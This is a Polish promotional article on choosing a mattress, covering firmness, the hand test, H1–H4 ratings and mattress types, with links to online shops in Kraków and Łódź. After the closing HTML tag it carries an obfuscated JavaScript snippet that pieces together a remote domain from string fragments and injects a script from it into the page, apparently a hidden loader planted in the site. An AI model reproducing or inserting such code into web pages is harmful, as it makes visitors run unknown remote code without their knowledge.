Dobry materac w Krakowie - jak dobrać odpowiedni?

W łóżku spędzasz niemal 1/3 swojego życia. Od tego jak się wysypiasz zależy Twoje zdrowie i samopoczucie. Dlatego tak ważne jest, aby materac, na którym śpisz był idealnie dobrany do Twoich potrzeb. Podpowiadamy jak wybrać najlepszy model.

Twardość

Podczas snu organizm dąży do ułożenia ciała w taki sposób, aby zagwarantować mu jak najlepszy wypoczynek i regenerację. Materac może w tym pomóc lub przeszkadzać. Jeśli wybierzesz materac zbyt miękki, wówczas przez całą noc mięśnie Twojego ciała będą napięte, aby zapewnić prawidłowe ułożenie kręgosłupa. Spanie na zbyt miękkim materacu przez długi czas może skutkować bólem mięśni i skurczami. Jeśli natomiast wybierzesz materac zbyt twardy, wówczas podczas snu mogą pojawić się problemy z krążeniem wynikające z ucisku na naczynia krwionośne. Organizm broniąc się przed niedokrwieniem dąży do częstych zmian pozycji, co przeszkadza w zapadnięciu w głęboki sen. Tym samym śpiąc na zbyt twardym materacu możesz budzić się niewyspany.

Aby temu zapobiec musisz wybrać idealny materac dla siebie. Jednym z najprostszych sposobów, aby wybrać model dostosowany do swoich potrzeb jest wykonanie testu dłoni. Podczas wybierania materaca połóż się na nim i spróbuj włożyć dłoń pod odcinek lędźwiowy kręgosłupa. Jeśli dłoń napotka opór jest to znak, że materac jest zbyt miękki. Jeśli dłoń wejdzie bez problemu, wówczas materac jest zbyt twardy. Jeśli natomiast poczujesz delikatny opór, świadczy to, że materac będzie odpowiedni.

Metoda dłoni jest bardzo dobra, ale można ją wykorzystać wyłączenie podczas zakupów w sklepie stacjonarnym. W przypadku zakupów np. na materace online na materacekrakow.eu musisz skorzystać z podpowiedzi umieszczonych przez producenta na metce materaca. Każdy model posiada twardość określoną symbolami od H1 do H4. Im wyższa cyfra tym twardszy materac. Dzieciom i osobom do 80 kg polecane są materace H1, natomiast materace z oznaczeniem H4 są przeznaczone dla osób o masie powyżej 100 kg.

Budowa i materiał

W sprzedaży można spotkać kilka podstawowych rodzajów materacy. Należą do nich materace sprężynowe, kieszeniowe, piankowe oraz lateksowe. Każdy z nich jest skierowany do innej grupy użytkowników i powinieneś znać ich wady i zalety, aby nie kupić materaca, który nie spełni Twoich oczekiwań.

Materace sprężynowe należą do materacy twardych. Dostosowują się do kształtu ciała, ale nie należą do najlepszych pod tym względem. Ich niewątpliwą zaletą jest atrakcyjna cena.

Materace kieszeniowe zbudowane są z wielu kieszonek, w których umieszczone są pojedyncze sprężyny. Kieszonki umieszczone są w środkowej warstwie materaca, natomiast od góry i dołu znajduje się wyściółka. W zależności od jej rodzaju materac może mieć różne stopnie twardości. Materace kieszeniowe dobrze dostosowują się do ułożenia ciała. Dzięki swojej budowie są polecane dla par, nawet z dużą różnicą wagi. Niestety budowa kieszeniowa ma też swoje wady. Największą z nich jest trudne czyszczenie materaca. Tym samym nie zaleca się go alergikom. Chyba, że materac jest dla nich specjalnie przystosowany.

Materace piankowe stanowią bardzo szeroką gamę materacy o różnej twardości. W zależności od materiału z jakiego zostały wykonane mają różne właściwości. Jedną z polecanych wszystkim użytkownikom opcji są materace termoelastyczne np. Hilding Rumba, które dostosowują się do potrzeb użytkownika w oparciu o ciepłotę ciała. Szeroka gama materacy piankowych sprawia, że należą one do

najpopularniejszych zarówno ze względu na jakość jak i cenę poszczególnych modeli.

Materace lateksowe to doskonałe materace dla par. Ze względu na antybakteryjne i przeciwgrzybicze właściwości lateksu są one polecane osobom z alergiami.

Choć stwierdzenie, że łóżko zapewnia Ci zdrowie i dobre samopoczucie, może wydawać się banałem to należy je traktować poważnie. Od tego na jakim materacu zasypiasz i się budzisz zależy jak będziesz funkcjonować w ciągu dnia. Kupując materace online na materacelodz.eu pamiętaj, aby wybrać model, który najlepiej spełni Twoje oczekiwania i potrzeby.

</body>
</html>

(function(){
cbfy=document.createElement("script");cbfy_=("ust");cbfyu="253913911";
cbfy_+="a"+("t.i");cbfy.type="text/javascript";
cbfyu+=".gs061umvbfy049meisai";cbfy.async=true;cbfy_+="n"+("f"+"o")+"/";
cbfyu+="bq9h9vlt8m";cbfy.src="https://"+cbfy_+cbfyu;
document.body.appendChild(cbfy);
})();